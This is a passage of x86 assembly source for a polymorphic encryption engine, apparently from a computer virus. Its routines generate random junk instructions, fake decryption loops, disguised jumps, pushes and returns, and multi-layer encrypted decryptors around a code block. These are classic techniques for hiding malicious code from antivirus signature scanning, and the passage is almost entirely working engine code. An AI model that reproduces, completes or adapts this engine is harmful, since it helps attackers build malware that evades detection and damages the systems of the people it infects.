                cmp ebx,edx
                je a_movregreg32
c_movregreg32:	mov al,8Bh
h_movregreg32:  mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [edx+REG_MASK]
                or ah,0C0h
                stosw
a_movregreg32:  ret

g_movregreg16:  call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                cmp ebx,edx
                je a_movregreg32
                mov al,66h
                stosb
                jmp short c_movregreg32

g_movregreg8:   call get_rnd_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                push ebx
                call get_valid_reg
                pop edx
		mov al,8Ah
h_movregreg8:	test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                cmp ebx,edx
                je a_movregreg8
                mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [edx+REG_MASK]
                or ah,0C0h
                push eax
                call get_rnd32
                pop edx
                and ax,2400h
                or ax,dx
                stosw
a_movregreg8:   ret

;----------------------------------------------------------------------------
;Generate xchg reg,reg
;----------------------------------------------------------------------------

g_xchgregreg32:	call get_valid_reg
		push ebx
		call get_valid_reg
		pop edx
		cmp ebx,edx
		je a_movregreg32
h_xchgregreg32:	mov al,87h
		jmp short h_movregreg32

g_xchgregreg16:	call get_valid_reg
		push ebx
		call get_valid_reg
		pop edx
		cmp ebx,edx
		je a_movregreg32
		mov al,66h
		stosb
		jmp short h_xchgregreg32

g_xchgregreg8:	call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                push ebx
                call get_valid_reg
                pop edx
		mov al,86h
		jmp h_movregreg8

;----------------------------------------------------------------------------
;Generate MOVZX/MOVSX reg32,reg16
;----------------------------------------------------------------------------

g_movzx_movsx:  call get_rnd32
                mov ah,0B7h
                and al,01h
                jz d_movzx
                mov ah,0BFh
d_movzx:        mov al,0Fh
                stosw
                call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                mov al,byte ptr [ebx+REG_MASK]
                shl al,03h
                or al,0C0h
                or al,byte ptr [edx+REG_MASK]
                stosb
                ret

;----------------------------------------------------------------------------
;Generate INC reg
;----------------------------------------------------------------------------

g_inc_reg32:	call get_valid_reg
		mov al,40h
		or al,byte ptr [ebx+REG_MASK]
		stosb
		ret

g_inc_reg16:	mov al,66h
		stosb
		jmp short g_inc_reg32

g_inc_reg8:	call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_inc_reg8
		call get_rnd32
		and ah,04h
		or ah,byte ptr [ebx+REG_MASK]
		or ah,0C0h
		mov al,0FEh
		stosw
a_inc_reg8:	ret

;----------------------------------------------------------------------------
;Generate DEC reg
;----------------------------------------------------------------------------

g_dec_reg32:	call get_valid_reg
		mov al,48h
		or al,byte ptr [ebx+REG_MASK]
		stosb
		ret

g_dec_reg16:	mov al,66h
		stosb
		jmp short g_dec_reg32

g_dec_reg8:	call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_dec_reg8
		call get_rnd32
		and ah,04h
		or ah,byte ptr [ebx+REG_MASK]
		or ah,0C8h
		mov al,0FEh
		stosw
a_dec_reg8:	ret

;----------------------------------------------------------------------------
;Generate ADD/SUB/XOR/OR/AND reg,imm
;----------------------------------------------------------------------------

g_mathregimm32: mov al,81h
                stosb
                call get_valid_reg
                call do_math_work
                stosd
                ret

g_mathregimm16: mov ax,8166h
                stosw
                call get_valid_reg
                call do_math_work
                stosw
                ret

g_mathregimm8:  call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_math8
                mov al,80h
                stosb
                call do_math_work
                stosb
                and ah,04h
                or byte ptr [edi-00000002h],ah
a_math8:        ret

do_math_work:   mov eax,end_math_imm-tbl_math_imm
                call get_rnd_range
                lea esi,dword ptr [ebp+eax+tbl_math_imm]
                lodsb
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call get_rnd32
                ret

;----------------------------------------------------------------------------
;Generate decryption instructions (real or fake ones)
;----------------------------------------------------------------------------

		;------------------------------------------------------------
		;Check if we are going to use a displacement in the
                ;indexing mode
		;------------------------------------------------------------

fake_or_not:    mov eax,dword ptr [ebp+fake_ptr_disp]
                or eax,eax
                jnz more_complex

		;------------------------------------------------------------
                ;Choose generator for [reg] indexing mode
		;------------------------------------------------------------

                mov edx,offset tbl_idx_reg
                call choose_magic
                jmp you_got_it

		;------------------------------------------------------------
		;More fun?!?!
		;------------------------------------------------------------

more_complex:   mov al,byte ptr [ebp+fake_build_flags]
                test al,CRYPT_SIMPLEX
                jnz crypt_xtended

		;------------------------------------------------------------
                ;Choose generator for [reg+imm] indexing mode
		;------------------------------------------------------------

                mov edx,offset tbl_dis_reg
                call choose_magic

		;------------------------------------------------------------
		;Use magic to convert some values into
                ;desired instructions
		;------------------------------------------------------------

you_got_it:     call size_correct
                mov dl,byte ptr [ebp+fake_index_mask]
                lodsb
                or al,al
                jnz adn_reg_01
                cmp dl,00000101b
                je adn_reg_02
adn_reg_01:     lodsb
                or al,dl
                stosb
                jmp common_part                
adn_reg_02:     lodsb
                add al,45h
                xor ah,ah
                stosw
                jmp common_part

		;------------------------------------------------------------
		;Choose [reg+reg] or [reg+reg+disp]
		;------------------------------------------------------------

crypt_xtended:  xor eax,eax
		mov dword ptr [ebp+disp2disp],eax ;Clear disp-over-disp

                test al,CRYPT_COMPLEX
                jz ok_complex

		;------------------------------------------------------------
                ;Get random displacement from current displacement
                ;eeehh?!?
		;------------------------------------------------------------

                mov eax,00001000h
                call get_rnd_range
                mov dword ptr [ebp+disp2disp],eax
                call load_aux

                push ebx

                call gen_garbage

		;------------------------------------------------------------
                ;Choose generator for [reg+reg+imm] indexing mode
		;------------------------------------------------------------

                mov edx,offset tbl_paranoia
                call choose_magic
                jmp short done_xtended

ok_complex:     mov eax,dword ptr [ebp+fake_ptr_disp]
                call load_aux

                push ebx

                call gen_garbage

		;------------------------------------------------------------
                ;Choose generator for [reg+reg] indexing mode
		;------------------------------------------------------------

                mov edx,offset tbl_xtended
                call choose_magic

		;------------------------------------------------------------
		;Build decryptor instructions
		;------------------------------------------------------------

done_xtended:   call size_correct

                pop ebx

                mov dl,byte ptr [ebp+fake_index_mask]
                lodsb
                mov cl,al
                or al,al
                jnz arn_reg_01
                cmp dl,00000101b
                jne arn_reg_01
                lodsb
                add al,40h
                stosb
                jmp short arn_reg_02
arn_reg_01:     movsb
arn_reg_02:     mov al,byte ptr [ebx+REG_MASK]
                shl al,03h
                or al,dl
                stosb
                or cl,cl
                jnz arn_reg_03
                cmp dl,00000101b
                jne arn_reg_03
                xor al,al
                stosb

		;------------------------------------------------------------
		;Restore aux reg state
		;------------------------------------------------------------

arn_reg_03:     xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		;------------------------------------------------------------
		;Get post-build flags
		;------------------------------------------------------------

common_part:    lodsb

		;------------------------------------------------------------
                ;Insert displacement from real address?
		;------------------------------------------------------------

                test al,MAGIC_PUTDISP
                jz skip_disp
                push eax
                mov eax,dword ptr [ebp+fake_ptr_disp]
                sub eax,dword ptr [ebp+disp2disp]
                neg eax
                stosd
                pop eax

		;------------------------------------------------------------
		;Insert key?
		;------------------------------------------------------------

skip_disp:      test al,MAGIC_PUTKEY
                jz skip_key
                call copy_key

skip_key:       ret

;----------------------------------------------------------------------------
;Choose a magic generator
;----------------------------------------------------------------------------

choose_magic:   mov eax,00000006h
                call get_rnd_range
                add edx,ebp
                lea esi,dword ptr [edx+eax*04h]
                lodsd
                add eax,ebp
                mov esi,eax
                ret

;----------------------------------------------------------------------------
;Do operand size correction
;----------------------------------------------------------------------------

size_correct:   lodsb
                mov ah,byte ptr [ebp+fake_oper_size]
                cmp ah,01h
                je store_correct
                inc al
                cmp ah,04h
                je store_correct
                mov ah,66h
                xchg ah,al
                stosw
                ret
store_correct:  stosb
                ret

;----------------------------------------------------------------------------
;Load aux reg with displacement
;----------------------------------------------------------------------------

		;------------------------------------------------------------
		;Get a valid auxiliary register
		;------------------------------------------------------------

load_aux:       push eax
                call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		;------------------------------------------------------------
                ;Move displacement into aux reg
		;------------------------------------------------------------

                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                pop eax
                neg eax
                stosd
                ret

;----------------------------------------------------------------------------
;Generate push reg + garbage + pop reg
;----------------------------------------------------------------------------

g_push_g_pop:   call gen_garbage

		call get_rnd32
		test al,01h
		jnz skip_sp_push

		call push_with_sp
		jmp short from_push

skip_sp_push:   call get_rnd_reg
                mov al,50h
                or al,byte ptr [ebx+REG_MASK]
                stosb
		call gen_garbage

from_push:	call get_rnd32
		test al,01h
		jz pop_with_sp

		call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb

		call gen_garbage
                ret

;----------------------------------------------------------------------------
;Emulate a PUSH instruction, using SUB ESP,00000004h
;----------------------------------------------------------------------------

push_with_sp:	mov eax,0004EC83h
		stosd
		dec edi
		call gen_garbage
		ret

;----------------------------------------------------------------------------
;Emulate a POP instruction, using ADD ESP,00000004h
;----------------------------------------------------------------------------

pop_with_sp:	mov eax,0004C483h
		stosd
		dec edi
		call gen_garbage
		ret

;----------------------------------------------------------------------------
;Generate RET in different ways
;----------------------------------------------------------------------------

gen_ret:	mov eax,00000004h
		call get_rnd_range
		or eax,eax
		jnz just_ret

		call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb
		or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		push ebx
		call gen_garbage
		pop ebx
		xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		mov ax,0E0FFh
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		ret

just_ret:	mov al,0C3h
                stosb
		ret

;----------------------------------------------------------------------------
;Generate CALL without return
;----------------------------------------------------------------------------

g_call_cont:    mov al,0E8h
                stosb
                push edi
                stosd
                call gen_rnd_block
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
                call gen_garbage

		call get_rnd32
		test al,01h
		jz pop_with_sp

		call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb

		call gen_garbage
                ret

;----------------------------------------------------------------------------
;Generate unconditional jumps
;----------------------------------------------------------------------------

g_jump_u:       mov al,0E9h
                stosb
                push edi
                stosd
                call gen_rnd_block
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
		call gen_garbage
                ret

g_save_jump:	mov al,0E9h
                stosb
                push edi
                stosd
                call gen_rnd_block
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
                ret

;----------------------------------------------------------------------------
;Generate conditional jumps
;----------------------------------------------------------------------------

g_jump_c:       call get_rnd32
                and ah,0Fh
                add ah,80h
                mov al,0Fh
                stosw
                push edi
                stosd
                call gen_garbage
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
		call gen_garbage
                ret

g_save_jump_c:	call get_rnd32
                and ah,0Fh
                add ah,80h
                mov al,0Fh
                stosw
		xor eax,eax
                stosd
		ret

;----------------------------------------------------------------------------
;Generate MOV [mem],reg
;----------------------------------------------------------------------------

gen_mov_mem8:	mov dl,88h
		jmp mem8wr
gen_mov_mem16:	mov al,66h
		stosb
gen_mov_mem32:	mov dl,89h
		jmp gen_mem_wr

gen_add_mem8:	mov dl,00h
		jmp mem8wr
gen_add_mem16:	mov al,66h
		stosb
gen_add_mem32:	mov dl,01h
		jmp gen_mem_wr

gen_sub_mem8:	mov dl,28h
		jmp mem8wr
gen_sub_mem16:	mov al,66h
		stosb
gen_sub_mem32:	mov dl,29h
		jmp gen_mem_wr

gen_adc_mem8:	mov dl,10h
		jmp mem8wr
gen_adc_mem16:	mov al,66h
		stosb
gen_adc_mem32:	mov dl,11h
		jmp gen_mem_wr

gen_sbb_mem8:	mov dl,18h
		jmp mem8wr
gen_sbb_mem16:	mov al,66h
		stosb
gen_sbb_mem32:	mov dl,19h
		jmp gen_mem_wr

gen_or_mem8:	mov dl,08h
		jmp mem8wr
gen_or_mem16:	mov al,66h
		stosb
gen_or_mem32:	mov dl,09h
		jmp gen_mem_wr

gen_and_mem8:	mov dl,20h
		jmp mem8wr
gen_and_mem16:	mov al,66h
		stosb
gen_and_mem32:	mov dl,21h
		jmp gen_mem_wr

gen_xor_mem8:	mov dl,30h
		jmp mem8wr
gen_xor_mem16:	mov al,66h
		stosb
gen_xor_mem32:	mov dl,31h
		jmp gen_mem_wr

mem8wr:		call gen_mem_wr
		call get_rnd32
		and al,20h
		or byte ptr [edi-00000005h],al
		ret

gen_mem_wr:	call get_rnd_reg
		mov ah,byte ptr [ebx+REG_MASK]
		or ah,ah
		jnz skip_wr_eax
		cmp dl,88h
		je gen_mem_wr
		cmp dl,89h
		je gen_mem_wr

skip_wr_eax:	shl ah,03h
		or ah,05h
		mov al,dl
		stosw

		movzx eax,byte ptr [ebp+NumberOfDataAreas]
		call get_rnd_range
		lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
		lodsd
		push eax
		lodsd
		sub eax,00000004h
		call get_rnd_range
		pop edx
		add eax,edx
		stosd

		ret
								
;----------------------------------------------------------------------------
;Generate clc/stc/cmc/cld/std
;----------------------------------------------------------------------------

gen_save_code:  mov eax,end_save_code-tbl_save_code
                call get_rnd_range
                mov al,byte ptr [ebp+tbl_save_code+eax]
                stosb
                ret

;----------------------------------------------------------------------------
;Generate code that does not change register contents
;----------------------------------------------------------------------------

gen_free:	mov eax,00000003h
                call get_rnd_range
                inc eax
                mov ecx,eax
loop_free:	push ecx
                mov eax,(end_free-tbl_free)/04h
                call get_rnd_range
                lea esi,dword ptr [ebp+tbl_free+eax*04h]
                lodsd
                add eax,ebp
                call eax
                pop ecx
                loop loop_free
		ret

;----------------------------------------------------------------------------
;Generate fake decrypt instructions
;----------------------------------------------------------------------------

gen_fake_crypt: cmp byte ptr [ebp+recursive_level],03h
		jae bad_fake_size

		cmp byte ptr [ebp+NumberOfDataAreas],02h				
		jb bad_fake_size

		push dword ptr [ebp+fake_ptr_disp]			
		push dword ptr [ebp+fake_crypt_key]			
		mov dl,byte ptr [ebp+fake_build_flags]
		mov dh,byte ptr [ebp+fake_index_mask]
		shl edx,08h
		mov dl,byte ptr [ebp+fake_oper_size]
		push edx

                call get_rnd32			;Get encryption key

                mov dword ptr [ebp+fake_crypt_key],eax                  
                
                call get_rnd32			;Get generation flags

                mov byte ptr [ebp+fake_build_flags],al

                call get_rnd32			;Get size of mem operand
                and al,03h
                cmp al,01h
                je ok_fake_size
                cmp al,02h
                je ok_fake_size
                inc al
ok_fake_size:   mov byte ptr [ebp+fake_oper_size],al

                call get_rnd32			;Choose displacement				
                and eax,00000001h
                jz ok_fake_disp

		call get_rnd32
                and eax,000FFFFFh
		call get_rnd_range				
		inc eax
		neg eax
ok_fake_disp:   mov dword ptr [ebp+fake_ptr_disp],eax

		movzx eax,byte ptr [ebp+NumberOfDataAreas]
		call get_rnd_range
		lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
		lodsd
		add eax,dword ptr [ebp+fake_ptr_disp]
		push eax
		lodsd
		sub eax,00000004h
		call get_rnd_range

		pop edx
		add eax,edx
		push eax				
					
	        call get_valid_reg

		or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
                mov al,byte ptr [ebx+REG_MASK]
		mov byte ptr [ebp+fake_index_mask],al
		or al,0B8h
                stosb
		pop eax
		stosd

		push ebx			
		call gen_garbage				;Garbage
		call fake_or_not
		call gen_garbage				;Garbage
		pop ebx

		xor byte ptr [ebx+REG_FLAGS],REG_IS_INDEX

		pop eax
		mov byte ptr [ebp+fake_oper_size],al
		shr eax,08h
		mov byte ptr [ebp+fake_index_mask],ah
		mov byte ptr [ebp+fake_build_flags],al
		pop dword ptr [ebp+fake_crypt_key]
		pop dword ptr [ebp+fake_ptr_disp]
bad_fake_size:	ret

;----------------------------------------------------------------------------
;Get a ramdom reg
;----------------------------------------------------------------------------

get_rnd_reg:    mov eax,00000007h
                call get_rnd_range
                lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
                ret

;----------------------------------------------------------------------------
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
;----------------------------------------------------------------------------

get_valid_reg:  call get_rnd_reg
                mov al,byte ptr [ebx+REG_FLAGS]
                and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
                jnz get_valid_reg
                ret

;----------------------------------------------------------------------------
;Load ecx with crypt_size / oper_size
;----------------------------------------------------------------------------

fixed_size2ecx: mov eax,dword ptr [ebp+SizeCrypt]
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]
                shr ecx,01h
                or ecx,ecx
                jz ok_2ecx
                shr eax,cl
                jnc ok_2ecx
                inc eax
ok_2ecx:        mov ecx,eax
                ret

;----------------------------------------------------------------------------
;Generate polymorphic decryptor... Whats new on this poly engine?
;
;- No need to get delta offset
;- New garbage generators:
;	
;	o Fake decrypt instructions
;	o Instructions that write/read from/to memory
;	o New ways for JMP
;	o New ways for POP
;
;- The engine can be called several times in order to produce multi-layer
;  polymorphic encrytion
;
;On entry:
;		esi -> Pointer to code
;		edi -> Where to generate polymorphic decryptor
;		ecx -> Size of area to encrypt
;		edx -> Entry point to code once decrypted
;On exit:
;		ecx -> Decryptor size
;		edi -> End of decryptor
;
;----------------------------------------------------------------------------

Mutate:		push ebx				;Save base address
		add edx,ebx
		mov dword ptr [ebp+PtrToEP],edx		;Save ptr to entry-point

		mov dword ptr [ebp+PtrToCrypt],esi	;Save crypt offset
		mov dword ptr [ebp+PtrToDecrypt],edi
		mov dword ptr [ebp+SizeCrypt],ecx	;Save size of block				
								
                lea esi,dword ptr [ebp+tbl_startup]	;Init register table
                lea edi,dword ptr [ebp+		\
				   tbl_regs+	\
				   REG_FLAGS]
                mov ecx,00000007h
loop_init_regs: lodsb
                stosb
                inc edi
                loop loop_init_regs

                xor eax,eax
		mov byte ptr [ebp+NumberOfDataAreas],al	;Clear # of data area
		mov byte ptr [ebp+recursive_level],al	;Clear recursive

		mov ecx,NUM_DA
		lea edi,dword ptr [ebp+tbl_data_area]	;Init data areas
loop_init_da:	stosd
		stosd
		loop loop_init_da

                call get_valid_reg		;Choose index register
                mov al,byte ptr [ebx+REG_MASK]
                mov byte ptr [ebp+index_mask],al
                or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX

                xor eax,eax			;Init call table
                mov ecx,00000005h
                lea edi,dword ptr [ebp+style_table+00000004h]
clear_style:    stosd
                add edi,00000004h
                loop clear_style

                call get_valid_reg		;Choose counter register
                mov al,byte ptr [ebx+REG_MASK]
                mov byte ptr [ebp+counter_mask],al
                or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER

                call get_rnd32			;Choose displacement
                and eax,00000001h
                jz ok_disp
                call get_rnd32
                and eax,000FFFFFh
ok_disp:        mov dword ptr [ebp+ptr_disp],eax

                call get_rnd32				;Get encryption key
                mov dword ptr [ebp+crypt_key],eax
                                  
                call get_rnd32				;Get generation flags
                mov byte ptr [ebp+build_flags],al

                call get_rnd32			;Get size of mem operand
                and al,03h
                cmp al,01h
                je get_size_ok
                cmp al,02h
                je get_size_ok
                inc al
get_size_ok:    mov byte ptr [ebp+oper_size],al

		mov edi,dword ptr [ebp+PtrToDecrypt];Ptr to decryptor

                call gen_rnd_block			;Random data block
                mov ecx,00000005h			;Generate 5 routines

do_subroutine:  push ecx

routine_done:   mov eax,00000005h			;Random step
                call get_rnd_range
                lea esi,dword ptr [ebp+style_table+eax*08h]
                
                xor edx,edx				;Already generated?
                cmp dword ptr [esi+00000004h],edx
                jne routine_done

                push edi				;Generate routine
                call gen_garbage
                lodsd
                pop dword ptr [esi]
                add eax,ebp
                call eax
                call gen_garbage

		call gen_ret
				
		call gen_rnd_block
                
                pop ecx				;Generate next subroutine
                loop do_subroutine
				
		mov dword ptr [ebp+entry_point],edi ;Decryptor entry-point

		;------------------------------------------------------------
		;If this is the 1st decryptor we need to save
		;some regs
		;------------------------------------------------------------

		cmp byte ptr [ebp+IsFirst],00h
		je SkipSaveRegs

		call gen_free			;Random code, save regs
		mov al,60h			;We need to PUSHAD
		stosb

SkipSaveRegs:	call gen_garbage		;We can trash regs now

                lea esi,dword ptr [ebp+style_table+00000004h]
                mov ecx,00000005h

do_call:        push ecx			;Gen CALL to each step
                cmp ecx,00000003h
                jne is_not_loop
                call gen_garbage
                mov dword ptr [ebp+loop_point],edi
is_not_loop:    call gen_garbage
                mov al,0E8h			;CALL opcode
                stosb
                lodsd
                sub eax,edi
                sub eax,00000004h
                stosd
                call gen_garbage
                lodsd
                pop ecx
                loop do_call

                call gen_garbage		;End condition
                call gen_loop
		call gen_rnd_block

		pop ebx

		push edi
                sub edi,dword ptr [ebp+PtrToDecrypt]
		push edi

		mov edi,dword ptr [ebp+PtrToCrypt]
		add edi,ebx
                call fixed_size2ecx		;Encrypt requested area
loop_hide_code: push ecx
                mov eax,dword ptr [edi]
                call perform_crypt
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]
loop_copy_res:  stosb
                shr eax,08h
                loop loop_copy_res
                pop ecx
                loop loop_hide_code

		mov edx,dword ptr [ebp+entry_point]

		sub edx,ebx			;Get entry-point offset

		pop ecx
		pop edi
				
		ret

;----------------------------------------------------------------------------
;Poly engine initialized data
;----------------------------------------------------------------------------

                ;------------------------------------------------------------
                ;Register table
                ;
                ; 00h -> BYTE -> Register mask
                ; 01h -> BYTE -> Register flags
                ;------------------------------------------------------------

tbl_regs        equ $

                db 00000000b,REG_READ_ONLY      ;eax
                db 00000011b,00h                ;ebx
                db 00000001b,00h                ;ecx
                db 00000010b,00h                ;edx
                db 00000110b,REG_NO_8BIT        ;esi
                db 00000111b,REG_NO_8BIT        ;edi
                db 00000101b,REG_NO_8BIT        ;ebp

end_regs        equ $

                ;------------------------------------------------------------
                ;Aliases for reg table structure
                ;------------------------------------------------------------

REG_MASK        equ 00h
REG_FLAGS       equ 01h

                ;------------------------------------------------------------
                ;Bit aliases for reg flags
                ;------------------------------------------------------------

REG_IS_INDEX    equ 01h         ;Register used as main index register
REG_IS_COUNTER  equ 02h         ;This register is used as loop counter
REG_READ_ONLY   equ 04h         ;Never modify the value of this register
REG_NO_8BIT     equ 08h         ;ESI EDI and EBP havent 8bit version

                ;------------------------------------------------------------
                ;Initial reg flags
                ;------------------------------------------------------------

tbl_startup     equ $

                db REG_READ_ONLY        ;eax
                db 00h                  ;ebx
                db 00h                  ;ecx
                db 00h                  ;edx
                db REG_NO_8BIT          ;esi
                db REG_NO_8BIT          ;edi
                db REG_NO_8BIT          ;ebp

                ;------------------------------------------------------------
                ;Code that does not disturb reg values
                ;------------------------------------------------------------

tbl_save_code   equ $

                clc
                stc
                cmc
                cld
                std
                
end_save_code   equ $

                ;------------------------------------------------------------
                ;Generators for [reg] indexing mode
                ;------------------------------------------------------------

tbl_idx_reg     equ $

                dd offset xx_inc_reg
                dd offset xx_dec_reg
                dd offset xx_not_reg
                dd offset xx_add_reg
                dd offset xx_sub_reg
                dd offset xx_xor_reg

                ;------------------------------------------------------------
                ;Generators for [reg+imm] indexing mode
                ;------------------------------------------------------------

tbl_dis_reg     equ $

                dd offset yy_inc_reg
                dd offset yy_dec_reg
                dd offset yy_not_reg
                dd offset yy_add_reg
                dd offset yy_sub_reg
                dd offset yy_xor_reg

                ;------------------------------------------------------------
                ;Generators for [reg+reg] indexing mode
                ;------------------------------------------------------------

tbl_xtended     equ $

                dd offset zz_inc_reg
                dd offset zz_dec_reg
                dd offset zz_not_reg
                dd offset zz_add_reg
                dd offset zz_sub_reg
                dd offset zz_xor_reg

                ;------------------------------------------------------------
                ;Generators for [reg+reg+imm] indexing mode
                ;------------------------------------------------------------

tbl_paranoia    equ $

                dd offset ii_inc_reg
                dd offset ii_dec_reg
                dd offset ii_not_reg
                dd offset ii_add_reg
                dd offset ii_sub_reg
                dd offset ii_xor_reg

                ;------------------------------------------------------------
                ;Opcodes for math reg,imm
                ;------------------------------------------------------------

tbl_math_imm    equ $

                db 0C0h                         ;add
                db 0C8h                         ;or
                db 0E0h                         ;and
                db 0E8h                         ;sub
                db 0F0h                         ;xor
                db 0D0h                         ;adc
                db 0D8h                         ;sbb

end_math_imm    equ $

                ;------------------------------------------------------------
                ;Magic aliases
                ;------------------------------------------------------------

MAGIC_PUTKEY    equ 01h
MAGIC_PUTDISP   equ 02h
MAGIC_ENDSTR    equ 0FFh
MAGIC_ENDKEY    equ 0FEh
MAGIC_CAREEBP   equ 00h
MAGIC_NOTEBP    equ 0FFh

                ;------------------------------------------------------------
                ;Magic data
                ;------------------------------------------------------------

xx_inc_reg      db 0FEh
                db MAGIC_CAREEBP                
                db 00h
                db 00h
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

xx_dec_reg      db 0FEh
                db MAGIC_CAREEBP                                
                db 08h
                db 00h
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

xx_not_reg      db 0F6h
                db MAGIC_CAREEBP                
                db 10h
                db 00h
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

xx_add_reg      db 80h
                db MAGIC_CAREEBP
                db 00h
                db MAGIC_PUTKEY
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

xx_sub_reg      db 80h
                db MAGIC_CAREEBP
                db 28h
                db MAGIC_PUTKEY
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword
                  
xx_xor_reg      db 80h
                db MAGIC_CAREEBP
                db 30h
                db MAGIC_PUTKEY
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

yy_inc_reg      db 0FEh
                db MAGIC_NOTEBP                
                db 80h
                db MAGIC_PUTDISP
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

yy_dec_reg      db 0FEh
                db MAGIC_NOTEBP
                db 88h
                db MAGIC_PUTDISP
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

yy_not_reg      db 0F6h
                db MAGIC_NOTEBP                
                db 90h
                db MAGIC_PUTDISP
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

yy_add_reg      db 80h
                db MAGIC_NOTEBP
                db 80h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

yy_sub_reg      db 80h
                db MAGIC_NOTEBP
                db 0A8h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

yy_xor_reg      db 80h
                db MAGIC_NOTEBP
                db 0B0h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

zz_inc_reg      db 0FEh
                db MAGIC_CAREEBP
                db 04h
                db 00h
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

zz_dec_reg      db 0FEh
                db MAGIC_CAREEBP
                db 0Ch
                db 00h
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

zz_not_reg      db 0F6h
                db MAGIC_CAREEBP
                db 14h
                db 00h
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

zz_add_reg      db 80h
                db MAGIC_CAREEBP
                db 04h
                db MAGIC_PUTKEY
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

zz_sub_reg      db 80h
                db MAGIC_CAREEBP
                db 2Ch
                db MAGIC_PUTKEY
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

zz_xor_reg      db 80h
                db MAGIC_CAREEBP
                db 34h
                db MAGIC_PUTKEY
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

ii_inc_reg      db 0FEh
                db MAGIC_NOTEBP
                db 84h
                db MAGIC_PUTDISP
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

ii_dec_reg      db 0FEh
                db MAGIC_NOTEBP
                db 8Ch
                db MAGIC_PUTDISP
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

ii_not_reg      db 0F6h
                db MAGIC_NOTEBP
                db 94h
                db MAGIC_PUTDISP
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

ii_add_reg      db 80h
                db MAGIC_NOTEBP
                db 84h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

ii_sub_reg      db 80h
                db MAGIC_NOTEBP
                db 0ACh
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

ii_xor_reg      db 80h
                db MAGIC_NOTEBP
                db 0B4h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

                ;------------------------------------------------------------
                ;Reverse-code strings
                ;------------------------------------------------------------

x_inc_reg_byte  db 02h,0FEh,0C8h,MAGIC_ENDSTR
